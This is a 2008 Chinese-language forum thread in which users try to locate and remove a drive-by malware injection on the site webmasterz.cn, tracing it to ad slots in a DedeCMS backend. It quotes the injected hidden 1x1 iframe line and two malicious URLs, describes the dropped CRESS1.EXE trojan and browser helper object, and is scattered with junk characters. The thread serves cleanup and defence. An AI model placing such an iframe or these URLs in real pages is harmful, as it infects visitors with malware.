webmasterz.cn上的掛馬掛在哪了 我怎麼查了半天查不到？

請老大仔細的查查吧，剛又發現了幾個，全是免殺的~~一個勁的往外蹦，但是我的卡卡即不報~~
http://ppp.749571.com/dm/test.htm
http://www.985676.cn/encrypt/mm.htm
% e% y. B5 x  z# `# t% f* ?7 S這兩個是免殺的，還有幾個沒記下來，
7 L, B- @- E& s6 j' Q6 h這掛馬的兔崽子有一手，隱藏的很好啊~~一般人都看不出來~

會在C盤下產生 CRESS1.EXE
& x" r& M+ Y% u然後增加IE的BHO的木馬 還釋放驅動

昏 他藏得好隱秘  找到了 放毒得地方了

4 {2 L6 i8 I8 J' X; u9 e- l0 R, tiframe src=h t t p://w w w.9856 76.cn/encrypt/mm.htm width=1 height=1></iframe>
然後再這個地址轉到ppp.749571.co m/dm/test.htm
& ]7 }  F9 @% g+ x& Z; z為了跟蹤這個病毒 自己失誤的。。。。哎。修復中ing。。。。
9 T" J) a. T. X3 H靜水趕快清理了吧

原帖由 20082008 於 2008-1-9 16:33 發表
沒裝REAL就沒事，好在我重新裝的系統:

4 `' t! I- C. {2 R1 A/ U2 ~+ x說的沒錯

原帖由 freelzyr 於 2008-1-10 16:47 發表
進dede後台
檢查 ad_js.php?aid=1  
" e/ p3 `6 q4 d7 Q: V: {ad_js.php?aid=2
8 u, Z% @) P, G6 aad_js.php?aid=3
$ d: j7 a1 f/ T  Q/ u9 f& d, |ad_js.php?aid=4
3 L& c/ W4 F8 Z5 y$ A; w  t5 e6 y
0 J0 n" W7 \$ D+ P這幾個廣告 裡面的代碼
在這幾個 掉茅廁位 裡面   含有 木馬的 代碼

: B% J/ J6 ~( A4 ~
' e# u5 X) `. ?6 f# ~這個檢查了沒有的

原帖由 靜水流深 於 2008-1-11 02:27 發表
/ G  V0 H1 F4 z1 P9 {# C
/ y( U$ E3 G3 t$ ]- r
這個檢查了沒有的

/ p0 y, W& U0 N& @
4 l5 q" j! L6 k/ D4 }我看過了，有掛馬的代碼，代碼已經在你的另一個貼子裡貼出來了

原帖由 靜水流深 於 2008-1-11 02:27 發表

. v( c8 }  Z3 R+ X$ S4 K" M
9 ^) ]# [( ^5 q  M  _/ P7 e4 |這個檢查了沒有的

; m8 }+ P* \$ E木馬就是在這裡裡啊
在後台的掉茅廁位設置那
; d# ]& c6 y: U0 h7 Y5 O! s裡

現在明瞭.
有人收流量做ppp.749571.co m的..
7 u( d9 @/ c- H5 i# _最近被掛馬的話. 都改成js了. 不用iframe了

菜鳥,怕怕,不敢看,啥時好了說一聲,我再去看風景